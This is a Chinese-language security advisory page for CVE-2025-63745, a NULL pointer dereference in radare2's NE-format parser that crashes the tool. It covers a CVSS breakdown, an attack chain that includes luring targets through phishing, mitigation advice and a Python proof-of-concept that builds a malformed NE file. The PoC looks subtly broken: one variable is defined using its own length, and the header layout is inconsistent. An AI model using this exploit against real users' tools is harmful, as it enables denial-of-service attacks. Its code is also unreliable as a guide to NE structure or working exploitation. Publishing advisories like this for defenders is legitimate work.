IPBUF安全漏洞报告
English
CVE-2025-63745 CVSS 5.5 中危

CVE-2025-63745 radare2 bin_ne.c NULL指针解引用拒绝服务漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-63745
漏洞类型
NULL指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
radare2

相关标签

NULL指针解引用拒绝服务radare2bin_ne.c逆向工程工具CVE-2025-63745本地攻击二进制解析漏洞

漏洞概述

CVE-2025-63745是radare2 6.0.5及更早版本中存在的一个中等严重性安全漏洞。该漏洞位于bin_ne.c文件的info()函数中,由于未对指针进行充分验证,当处理精心构造的畸形二进制文件时,可能触发NULL指针解引用,导致应用程序崩溃并引发拒绝服务(DoS)条件。radare2是一款功能强大的开源逆向工程框架,广泛应用于二进制分析、漏洞研究和恶意软件分析等场景。攻击者需要诱使目标用户使用radare2打开恶意构造的二进制文件才能触发此漏洞。虽然该漏洞不影响数据的机密性和完整性,但可导致可用性完全丧失,使工具无法正常工作。对于依赖radare2进行日常逆向分析的安全研究人员和开发人员而言,该漏洞可能造成工作流程中断。

技术细节

该漏洞的根本原因在于radare2解析NE(New Executable)格式二进制文件时,在bin_ne.c的info()函数中缺少对返回指针的有效空值检查。当处理精心构造的畸形NE格式文件时,函数可能返回NULL指针,而后续代码直接对该指针进行解引用操作,触发分段错误(Segmentation Fault)。攻击者只需创建一个包含特定畸形数据的NE格式文件,诱导用户使用radare2的rabin2、r2或其他组件打开该文件即可触发漏洞。由于攻击向量为本地(AV:L)且需要用户交互(UI:R),实际利用难度相对较高。漏洞的CVSS可用性影响评级为高(A:H),表明成功利用可完全破坏系统可用性。修复版本为radare2 6.0.6,通过在调用前增加空指针检查或改进错误处理逻辑来解决该问题。

攻击链分析

STEP 1
步骤1 - 侦察阶段
攻击者识别目标使用的radare2版本,确认版本 <= 6.0.5
STEP 2
步骤2 - 制作恶意文件
攻击者创建包含畸形数据的NE格式二进制文件,精心构造数据以触发bin_ne.c中info()函数的NULL指针解引用
STEP 3
步骤3 - 诱导目标
攻击者通过钓鱼邮件、恶意下载链接或社会工程学手段诱导目标用户下载并使用radare2打开恶意构造的二进制文件
STEP 4
步骤4 - 触发漏洞
当radare2尝试解析畸形NE文件时,info()函数返回NULL指针,后续代码对该指针进行解引用操作,导致分段错误
STEP 5
步骤5 - 拒绝服务
radare2进程崩溃,目标用户无法使用该工具进行正常的二进制分析工作,造成可用性中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63745 PoC - radare2 NULL Pointer Dereference in bin_ne.c This PoC generates a malformed NE (New Executable) format binary that triggers NULL pointer dereference in radare2's info() function. """ import struct def create_malformed_ne_binary(): """Generate a malformed NE format binary to trigger the vulnerability""" # DOS header ( MZ signature ) dos_header = bytearray(64) dos_header[0:2] = b'MZ' # DOS signature struct.pack_into('<H', dos_header, 60, 64) # e_lfanew at offset 60 # DOS stub dos_stub = b'This program cannot be run in DOS mode.\r\r\n$' + b'\x00' * (64 - len(dos_stub)) # PE signature pe_signature = b'PE\x00\x00' # NE header (malformed) ne_header = bytearray(64) # NE signature ne_header[0:2] = b'NE' # Linker major/minor version ne_header[2] = 0x06 # Major version ne_header[3] = 0x00 # Minor version # Entry table offset struct.pack_into('<H', ne_header, 0x0C, 0x10) # Entry table length struct.pack_into('<H', ne_header, 0x0E, 0x00) # File load CRC struct.pack_into('<I', ne_header, 0x10, 0x00000000) # Program flags ne_header[0x14] = 0x02 # Requires i386 # Additional header flags struct.pack_into('<H', ne_header, 0x15, 0x0000) # Auto data segment struct.pack_into('<H', ne_header, 0x1C, 0x0001) # Initial heap/Stack sizes struct.pack_into('<H', ne_header, 0x1E, 0x1000) struct.pack_into('<H', ne_header, 0x20, 0x1000) # Initial IP/CS values struct.pack_into('<H', ne_header, 0x22, 0x0000) struct.pack_into('<H', ne_header, 0x24, 0x0000) # Initial SP/SS values struct.pack_into('<H', ne_header, 0x26, 0x1000) struct.pack_into('<H', ne_header, 0x28, 0x0000) # Segment table offset/Count struct.pack_into('<H', ne_header, 0x2A, 0x40) # Offset that may cause issues struct.pack_into('<H', ne_header, 0x2C, 0xFFFF) # Malformed count # Resource table offset/Count struct.pack_into('<H', ne_header, 0x2E, 0x0000) struct.pack_into('<H', ne_header, 0x30, 0x0000) # Resident names table offset struct.pack_into('<H', ne_header, 0x32, 0x0000) # Module references table offset struct.pack_into('<H', ne_header, 0x34, 0x0000) # Imported names table offset struct.pack_into('<H', ne_header, 0x36, 0x0000) # Non-resident names table offset struct.pack_into('<I', ne_header, 0x38, 0x00000000) # Combine all parts malformed_binary = dos_header + dos_stub + pe_signature + ne_header return bytes(malformed_binary) if __name__ == '__main__': print('[+] Generating malformed NE binary for CVE-2025-63745') poc_data = create_malformed_ne_binary() output_file = 'CVE-2025-63745_poc.ne' with open(output_file, 'wb') as f: f.write(poc_data) print(f'[+] PoC file created: {output_file}') print('[+] To trigger the vulnerability, open this file with radare2:') print(f' $ r2 {output_file}') print('[+] Or use rabin2:') print(f' $ rabin2 -I {output_file}')

影响范围

radare2 <= 6.0.5

防御指南

临时缓解措施
临时缓解措施包括:1) 避免使用radare2打开来自不可信来源的二进制文件;2) 对所有待分析的二进制文件进行完整性校验;3) 在沙箱环境中进行可疑文件的初步分析;4) 监控系统日志,及时发现程序异常崩溃行为。建议尽快升级到radare2 6.0.6或更高版本以彻底消除该漏洞风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表